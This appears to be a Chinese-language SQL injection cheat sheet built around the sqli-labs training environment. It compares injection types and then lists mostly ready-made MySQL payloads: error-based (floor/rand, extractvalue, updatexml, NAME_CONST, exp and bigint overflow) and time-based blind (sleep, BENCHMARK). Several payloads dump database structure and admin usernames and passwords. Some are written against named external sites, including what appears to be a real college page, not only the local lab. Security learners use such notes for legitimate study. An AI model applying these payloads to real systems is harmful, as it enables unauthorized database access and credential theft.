关于SQL注入的注入方式与回显对比:
成功回显 | 失败回显 | 错误回显 |
---|---|---|
用户名和密码 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
无 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
无 (flag.jpg) | 无 (slap.jpg) | 无 (slap.jpg) |
注入方法 | 正确回显 | 错误回显 |
---|---|---|
基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
双注入 | 固定字符串 | Mysql错误信息 |
导出文件注入 | 固定字符串 | 另一固定字符串 |
Bool型盲注 | 固定字符串 | 无 |
Time型盲注 | 固定字符串 | 固定字符串 |
注意:sqli-labs中一般GET和POST差别在于,GET只需要提交参数id
,而POST则需要username
与password
都正确。
基于BOOL(有报错)的盲注
1、通过floor暴错
通过count(*) 、floor(rand(0)*2) 、group by(三者缺一不可)产生重复key报错(数据重复Duplicate) 需要三条及以上数据方可产生重复key报错,貌似用group_concat()无法报错----母鸡为何
/*数据库版本*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*简单办法暴库*/
http://www.waitalone.cn/sql.php?id=info()
/*连接用户*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*连接数据库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴表*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴字段*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴内容*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、ExtractValue(有长度限制,最长32位)
通过第二个参数路径格式(/xx/xx)错误报错(XPATH)
http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
3、UpdateXml(有长度限制,最长32位)
通过第二个参数路径格式(/xx/xx)错误报错(XPATH)
http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
4、NAME_CONST(适用于低版本)
利用(数据重复Duplicate)报错
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
5、Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)
/*数据库版本*/
http://www.waitalone.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
6.利用double数值类型超出范围进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
7.利用bigint溢出进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
-->在表中,可能会包含重复值。这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。
关键词 DISTINCT 用于返回唯一不同的值。
-->注意一些函数每次数据取一行的地方哈----有些方法报错长度有限~(limit ...)
基于时间的盲注
利用sleep()函数进行注入:
http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当错误的时候会有5秒的时间延时。
id=1
union
select
if(
SUBSTRING
(
user
(),1,4)=
'root'
,sleep(4),1),
null
,
null
#注意使用
union
的条件哦,前面介绍了。同样的道理,提取用户名前四个字符做判断,正确就延迟4秒,错误返回1
利用BENCHMARK()进行延时注入:
http://127.0.0.1/sqllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000次,会占用一段时间。
猜解字段利用的一些函数:
substring(str,start,length)从start开始截一段length长度
mid(str,start [,length]) 从start开始截(一段length)
ascii() ASCII码值
left(str,length) 返回指定长度的左边部分